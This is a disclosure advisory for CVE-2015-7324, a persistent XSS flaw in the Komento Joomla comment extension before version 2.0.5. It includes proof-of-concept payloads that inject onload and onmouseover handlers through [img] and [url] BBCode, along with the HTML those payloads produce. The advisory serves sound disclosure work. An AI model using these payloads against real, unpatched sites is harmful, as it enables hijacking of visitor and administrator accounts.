CVE Reference: CVE-2015-7324
Original advisory:
https://www.davidsopas.com/komento-joomla-component-persistent-xss/
Author: David Sopas @dsopas

Komento is a Joomla! comment extension for articles and blogs in K2,
EasyBlog, ZOO, Flexicontent, VirtueMart and redShop.

@http://stackideas.com/komento

I found out that was possible to launch a Persistent XSS attack when
adding a new comment using the WYSIWYG website and image buttons.
This issue was critical in both environments - frontend and backoffice.

In frontend when a user visited a page where the comment has a XSS
attack it would be automatically affected.
In the other side - the backoffice - when the admin checked the new
comment it would be vulnerable to this attack and could get his
account hijacked or something even more dangerous.

What I did was to pass along the XSS vector in the [img] code and use
the Javascript onload to run the exploit when image loads.

Proof-of-concept using [img]:
[img]http://www.robolaranja.com.br/wp-content/uploads/2014/10/Primeira-imagem-do-filme-de-Angry-Birds-%C3%A9-revelada-2.jpg"
onload="prompt(1)[/img]

Proof-of-concept using [url]:
[url="https://www.davidsopas.com" onmouseover="prompt(1)"]Your text to
link[/url]

In the [img] case this will reflect the following HTML (on the frontend):

<img src="http://www.robolaranja.com.br/wp-content/uploads/2014/10/Primeira-imagem-do-filme-de-Angry-Birds-%C3%A9-revelada-2.jpg"
data-pagespeed-onload="prompt(1)"
alt="http://www.robolaranja.com.br/wp-content/uploads/2014/10/Primeira-imagem-do-filme-de-Angry-Birds-%C3%A9-revelada-2.jpg"
onload="prompt(1)" style="max-width:300px;max-height:300px;"
onload="var elem=this;if (this==window)
elem=document.body;elem.setAttribute('data-pagespeed-loaded', 1)"/>

And...

<img src="http://www.robolaranja.com.br/wp-content/uploads/2014/10/Primeira-imagem-do-filme-de-Angry-Birds-%C3%A9-revelada-2.jpg"
data-pagespeed-onload="prompt(1)"
alt="http://www.robolaranja.com.br/wp-content/uploads/2014/10/Primeira-imagem-do-filme-de-Angry-Birds-%C3%A9-revelada-2.jpg"
onload="prompt(1)" style="max-width:300px;max-height:300px;">

In the administrator area.

This Joomla! component has lot’s of Google results and can affect a
large number of innocent people. A victim just by visiting the page
with a malicious comment will be affected.

All versions prior to 2.0.5 are affected.
Vendor already patched both security issues in the new version 2.0.5 -
http://stackideas.com/changelog/komento

-David Sopas
davidsopas.com
@dsopas